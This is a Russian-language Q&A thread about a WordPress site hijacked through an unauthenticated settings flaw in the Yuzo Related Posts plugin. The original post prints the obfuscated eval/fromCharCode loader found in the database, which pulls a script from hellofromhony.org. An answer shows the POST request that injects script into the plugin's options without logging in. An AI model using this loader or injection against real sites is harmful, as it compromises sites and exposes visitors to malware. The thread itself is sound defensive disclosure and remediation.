Около часа назад страница Wordpress, которой я управляю, начала перенаправляться на страницы рекламы и вредоносного ПО.
Я нашел источник перенаправления, хочу помочь другим пострадавшим, и мне нужна помощь в поиске фактической уязвимости и/или исправления.
Перенаправление происходит после завершения загрузки сайта, поэтому я искал фрагмент кода JavaScript на странице и сомнительные перенаправления в анализаторе сети. Очевидными вредоносными переадресациями были: hellofromhony.org, thebiggestfavoritemake.com, nnatrevaleur.tk и сайт, пытающийся перехватить мое текущее местоположение (хотя не смог воспроизвести его более одного раза).
Мне удалось отследить перенаправления вплоть до исходящего от https://hellofromhony.org/counter, который встроен через фрагмент кода.
Фрагмент был встроен в wp_options в запись с ключом «yuzo_related_post_options» — точнее, встроен в параметр json «yuzo_related_post_css_and_style» в option_value. Эта опция отображается без дезинфекции.
Эта опция является частью плагина Yuzo Related Posts Plugin, поддержка которого была прекращена около недели назад: https://wordpress.org/plugins/yuzo-related-post/
Удаление этого плагина немедленно остановило перенаправление, я не смог найти других следов вмешательства в сайт.
Фрагмент, который был в option_value:
</style><script language=javascript>eval(String.fromCharCode(118, 97, 114, 32, 100, 100, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 49, 53, 44, 32, 57, 57, 44, 32, 49, 49, 52, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 54, 41, 59, 118, 97, 114, 32, 101, 108, 101, 109, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 100, 100, 41, 59, 32, 118, 97, 114, 32, 104, 104, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 48, 49, 44, 32, 57, 55, 44, 32, 49, 48, 48, 41, 59, 118, 97, 114, 32, 122, 122, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 49, 54, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 49, 48, 54, 44, 32, 57, 55, 44, 32, 49, 49, 56, 44, 32, 57, 55, 44, 32, 49, 49, 53, 44, 32, 57, 57, 44, 32, 49, 49, 52, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 54, 41, 59, 101, 108, 101, 109, 46, 116, 121, 112, 101, 32, 61, 32, 122, 122, 59, 32, 101, 108, 101, 109, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 101, 108, 101, 109, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 52, 44, 32, 49, 48, 49, 44, 32, 49, 48, 56, 44, 32, 49, 48, 56, 44, 32, 49, 49, 49, 44, 32, 49, 48, 50, 44, 32, 49, 49, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 49, 48, 44, 32, 49, 50, 49, 44, 32, 52, 54, 44, 32, 49, 49, 49, 44, 32, 49, 49, 52, 44, 32, 49, 48, 51, 44, 32, 52, 55, 44, 32, 57, 57, 44, 32, 49, 49, 49, 44, 32, 49, 49, 55, 44, 32, 49, 49, 48, 44, 32, 49, 49, 54, 44, 32, 49, 48, 49, 44, 32, 49, 49, 52, 41, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 104, 104, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 101, 108, 101, 109, 41, 59));</script>
Хотя удаление плагина представляет собой быстрое исправление, я хочу погрузиться глубже, чтобы убедиться, что не было доступа к базе данных, серверной части и веб-пространству.
Об этом тоже кто-то писал еще 30 марта. pluginvulnerabilities.com/2019/03/30/…
Красиво, спасибо, не нашел такого при гуглении известных уязвимостей. Добавил это к моему ответу ниже, так что Google свяжет это... :)
Правильно ли я предполагаю, что можно манипулировать только параметрами wp, относящимися к самому плагину? Я пытаюсь найти максимальный охват уязвимости.
Для справки, это полезная нагрузка, обслуживаемая упомянутым эксплойтом, размещенным на hellofromhony.org: gist.github.com/stefan2904/a31a676b6fc202d2c6428acd728ad791.
@ Хендрик, да, это правильно. Wordpress автоматически добавляет к параметрам префикс идентификатора плагина, поэтому с помощью этой простой атаки можно изменить только параметры, принадлежащие плагину.
похоже, что hellofromhony.org/scriptmyjs?t=1&/wp-includes/js/jquery/… вызывает проблему на сайте, который я только что изучал с этой проблемой. Эта ссылка не предоставляет jquery.
также кажется, что этот URL-адрес будет отвечать одной и той же полезной нагрузкой независимо от строки запроса.
К сожалению, Stack Overflow не подходит для вопросов помогите мне найти уязвимости в этом случайном плагине. Мы можем ответить на конкретные, целенаправленные вопросы в ограниченном объеме.
Я верю, что только что нашел это: Плагин Юдзо Похожие сообщения не проверяет аутентификацию при сохранении параметров.
Так POSTing
yuzo_related_post_css_and_style=</style><script+language=javascript>alert('hacked');</script>
to /wp-admin/options-general.php?page=yuzo-related-post
получится, даже если вы не вошли в систему.
Плагин использует is_admin()
для проверки подлинности, но это «ложный друг» и проверяет только, находится ли страница, к которой осуществляется доступ, в области администратора, а не аутентифицирован (или авторизован) пользователь. См. Документация Wordpress.
Быстрое решение для продолжения использования плагина — просто удалить параметр настроек, поставив false в if-Statement в /assets/functions/options.php
строке 1155:
function __construct(){
global $if_utils;
$this->utils = $if_utils;
if (false/* is_admin() */)
self::configuration_plugin();
else
self::parameters();
}
Обновлять:
Ханг Гуан указал на сообщение в блоге об этой проблеме с прошлой недели, похоже, что он сейчас «в дикой природе».
В зависимости от вашего WP, эксплойт также нацелен на /wp-admin/admin-post.php?page=yuzo-related-post
...
Во время расследования и написания этого поста на доске wordpress.org появилось две темы: wordpress.org/support/plugin/yuzo-related-post